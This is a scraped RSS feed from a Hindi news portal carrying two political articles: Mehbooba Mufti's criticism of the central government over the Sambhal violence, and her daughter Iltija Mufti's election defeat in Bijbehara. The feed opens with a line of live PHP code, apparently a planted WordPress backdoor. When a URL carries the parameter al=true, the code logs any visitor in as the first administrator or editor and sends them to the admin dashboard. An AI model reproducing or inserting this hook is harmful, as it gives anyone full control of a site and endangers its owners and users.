// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Mehbooba Mufti – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 01 Dec 2024 21:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 महबूबा मुफ्ती ने संभल हिंसा को लेकर केंद्र सरकार पर निशाना साधा, कहा-बांग्लादेश और हममें कोई फर्क नहीं https://pratyushaashakinayikiran.com/?p=105225 Sun, 01 Dec 2024 21:35:00 +0000 https://pratyushaashakinayikiran.com/?p=105225 श्रीनगर
पीपुल्स डेमोक्रेटिक पार्टी (पीडीपी) की प्रमुख महबूबा मुफ्ती ने रविवार को संभल हिंसा को लेकर केंद्र सरकार पर निशाना साधा। उन्होंने कहा कि यह लोग हमारी बुनियादी जरूरतों को पूरा करने के बजाय हर मस्जिद में मंदिर ढूंढने का प्रयास कर रहे हैं। संभल हादसे का जिक्र करते हुए महबूबा ने कहा, “जिन लोगों का इस मामले से कोई लेना देना नहीं था, उन्हें भी अपनी जान गंवानी पड़ी। यह लोग किसी से बात नहीं करना चाहते हैं। जो कोई भी इनसे बात करने की कोशिश करता है, उसे सलाखों के पीछे डाल दिया जाता है, जैसे उमर खालिद को जेल में डाल दिया गया। वो चार सालों जेल में है। आज कल कहीं पर जनता की बात नहीं सुनी जा रही है।”

अजमेर शरीफ दरगाह को लेकर भी महबूबा मुफ्ती ने अपनी बात रखी। उन्होंने कहा कि यहां हिंदू-मुस्लिम सभी धर्मों के लोग जाते हैं। अजमेर शरीफ भाई चारा और गंगा जमुनी तहजीब की निशानी है। अगर किसी को भारत में गंगा जमुनी तहजीब की निशानी देखनी है, तो उसे अजमेर शरीफ जाना चाहिए, वहां उसे भाईचारे का प्रतीक देखने को मिलेगा। आपको वहां पर देखने को मिलेगा कि कैसे हमारी हिंदू-बहनें और मां अपना सिर झुकाती हैं और मन्नते मानती हैं। वहां पर आपको हिंदू, मुस्लिम और सिख सभी धर्मों के लोग देखने को मिलेंगे। लेकिन, अब यह लोग इसके पीछे भी पड़ चुके हैं। यह दावा कर रहे हैं कि अब इसे भी खोदो। क्या पता यहां भी मंदिर निकल आए।

उन्होंने कहा, “मुझे यह समझ नहीं आ रहा है कि यह सब कब तक चलेगा। अब लोग जाग चुके हैं।” महबूबा ने चुनावी प्रणाली पर भी अपनी बात रखी। उन्होंने इस बात पर आशंका जाहिर की कि चुनाव के दौरान भी विसंगति बरती जाती है, ताकि राजनीतिक माहौल को अपने पक्ष में किया जा सके। जानबूझकर किसी एक प्रदेश को विपक्ष के लिए छोड़ दिया जाता है, ताकि सवाल ना उठाया जा सके। इलेक्शन कमीशन इसे लेकर कोई जवाब नहीं देता है। अगर छह बजे वोटिंग बंद हुई, मतदान अगर 58 फीसद था, तो तीन घंटे बाद वो 68 कैसे हो गया? और काउंटिंग से पहले वो 70 फीसद कैसे हो गया। मुझे लगता है कि लोगों को जागना पड़ेगा।

इस बीच, उन्होंने बांग्लादेश में हिंदुओं पर हो रहे हमले का जिक्र कर कहा कि वहां हमारे हिंदू भाइयों के साथ ज्यादती हो रही है और यहां पर भी हम अल्पसंख्यकों के साथ अत्याचार कर रहे हैं, तो हममें और उनमें फर्क रहीं रह गया है। उन्होंने कहा कि अगर हम भारत में अल्पसंख्यकों को परेशान करेंगे। उनकी मस्जिदों में जाकर मंदिर ढूंढेंगे तो ऐसी स्थिति में बांग्लादेश और हमारे बीच में क्या फर्क रह जाएगा। बांग्लादेश में भी तो लगातार हिंदुओं को निशाना बनाया जा रहा है। उनके धार्मिक स्थलों पर हमला किया जा रहा है। बांग्लादेश में जिन लोगों ने हिंदुओं के साथ हो रहे अत्याचार के खिलाफ आवाज उठाई, उन्हें वहां जेल में दिया गया, ठीक उसी प्रकार से यहां पर भी जो लोग अल्पसंख्यकों के साथ हो रहे अत्याचार के विरुद्ध बोलते हैं, उन्हें भी जेल में दिया जा रहा है।

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मुफ्ती की बेटी इल्तिजा खानदानी सीट से हारीं, करीब 10 हजार वोटों से मिली शिकस्त, किया भावुक पोस्ट https://pratyushaashakinayikiran.com/?p=81699 Tue, 08 Oct 2024 18:09:00 +0000 https://pratyushaashakinayikiran.com/?p=81699

श्रीनगर

जम्मू-कश्मीर की पूर्व मुख्यमंत्री महबूबा मुफ्ती की बेटी इल्तिजा मुफ्ती अपने परिवार के गढ़ माने जाने वाले श्रीगुफवारा-बिजबेहरा विधानसभा सीट से चुनाव हार गई हैं। जम्मू कश्मीर विधानसभा चुनाव की वोटों की गिनती में इल्तिजा को 9770 वोटों से हार का सामना करना पड़ा। इस पर इल्तिजा मुफ्ती ने सोशल मीडिया मंच ‘एक्स’ पर पोस्ट कर कहा कि मैं जनादेश को स्वीकार करती हूं। बिजबेहरा में सभी से मुझे जो प्रेम और स्नेह मिला। वह हमेशा मेरे साथ रहेगा। इस अभियान के दौरान कड़ी मेहनत करने वाले पीडीपी कार्यकर्ताओं का आभार।

मुफ्ती परिवार का गढ़ है सीट
दरअसल 37 साल की इल्तिजा दक्षिण कश्मीर में पीडीपी का चेहरा थीं। इस बार महबूबा मुफ्ती ने विधानसभा चुनाव नहीं लड़ा था। इल्तिजा को उस समय पहचान मिली थी। क्योंकि अनुच्छेद 370 को रद्द किए जाने के बाद उनकी मां को हिरासत में लिया गया था। 1996 में महबूबा मुफ्ती ने भी बिजबेहरा से ही अपनी चुनावी शुरुआत की थी, जिसे मुफ्ती परिवार का गढ़ माना जाता है।

श्रीगुफवारा-बिजबेहरा सीट पर किसे कितने वोट

प्रत्याशी पार्टी कुल वोट
बशीर अहमद शाह वीरी J&KNC 33299
इल्तिजा मुफ्ती JKPDP 23529
सोफी यूसुफ BJP 3716
NOTA   1552

दादा मुफ्ती मुहम्मद सईद को याद किया
चुनाव परिणामों का इंतजार करते हुए मंगलवार को इल्तिजा ने अपने दादा मुफ्ती मुहम्मद सईद को याद करते हुए एक भावनात्मक एक्स पोस्ट लिखा। उन्होंने एक पुरानी तस्वीर शेयर करते हुए लिखा, सन्नी यहां आइएं फोटो के लिए। 2015 में जब आपने ताज के सामने तस्वीर लेने के लिए जोर दिया तो मैं झिझकते हुए मान गई थी। मुझे खुशी है कि आपने हार नहीं मानी क्योंकि यही हमारी आखिरी तस्वीर बनकर रह गई। आप ज्ञान, गरिमा और उदारता की मिसाल थे। मैं जो कुछ भी जानती हूं, जो कुछ भी हूं, आपकी वजह से हूं। काश आज आप यहां होते। दुनिया के सबसे अच्छे दादा। हम आपको याद करते हैं।

कैसे बनी सुर्खियां
अगस्त 2019 में इंटरनेट ब्लैकआउट और लॉकडाउन के बीच इल्तिजा ने केंद्रीय गृह मंत्री अमित शाह को एक पत्र लिखा था। इस पत्र में उन्होंने अपने श्रीनगर आवास पर नजरबंदी के कारणों पर सवाल उठाए थे। बाद में इल्तिजा को घाटी छोड़ने की अनुमति दी गई थी। उन्होंने अपनी मां से मिलने के लिए सुप्रीम कोर्ट का दरवाजा भी खटखटाया था, जिसे अंततः मंजूरी दे दी गई। महबूबा की रिहाई के बाद से इल्तिजा नियमित रूप से मीडिया इंटरैक्शन और बैठकों के दौरान उनके साथ रहीं। जून 2022 में उन्होंने एक्स पर "आपकी बात इल्तिजा के साथ" नामक एक पाक्षिक वीडियो श्रृंखला शुरू की, जिसका मकसद जम्मू-कश्मीर के लोगों को प्रभावित करने वाले मुद्दों और फैसलों पर चर्चा करना था।

कश्मीर में नई दिल्ली की नीतियों के कड़े विरोध में इल्तिजादिल्ली विश्वविद्यालय से राजनीति विज्ञान में स्नातक इल्तिजा ने यूके में वारविक विश्वविद्यालय से अंतर्राष्ट्रीय संबंधों में मास्टर डिग्री हासिल की है। इल्तिजा मुफ्ती कश्मीर में नई दिल्ली की नीतियों के कड़े विरोध के लिए भी जानी जाती हैं। वह केंद्र शासित प्रदेश में नागरिक स्वतंत्रता और राजनीतिक अधिकारों की सक्रिय रूप से वकालत करती हैं। एक न्यूज चैनल के कार्यक्रम में इल्तिजा ने कहा था कि मुझे अपनी मां से विरासत में सिर्फ़ खूबसूरती ही नहीं बल्कि जिद भी मिली है। मैं रणनीतिक हूं। वह भावुक हैं। यही मेरा व्यक्तित्व है और मुझे उम्मीद है कि समय के साथ लोग इसे जानेंगे। जम्मू-कश्मीर विधानसभा चुनाव 18 सितंबर, 25 सितंबर और 1 अक्टूबर को हुए थे।

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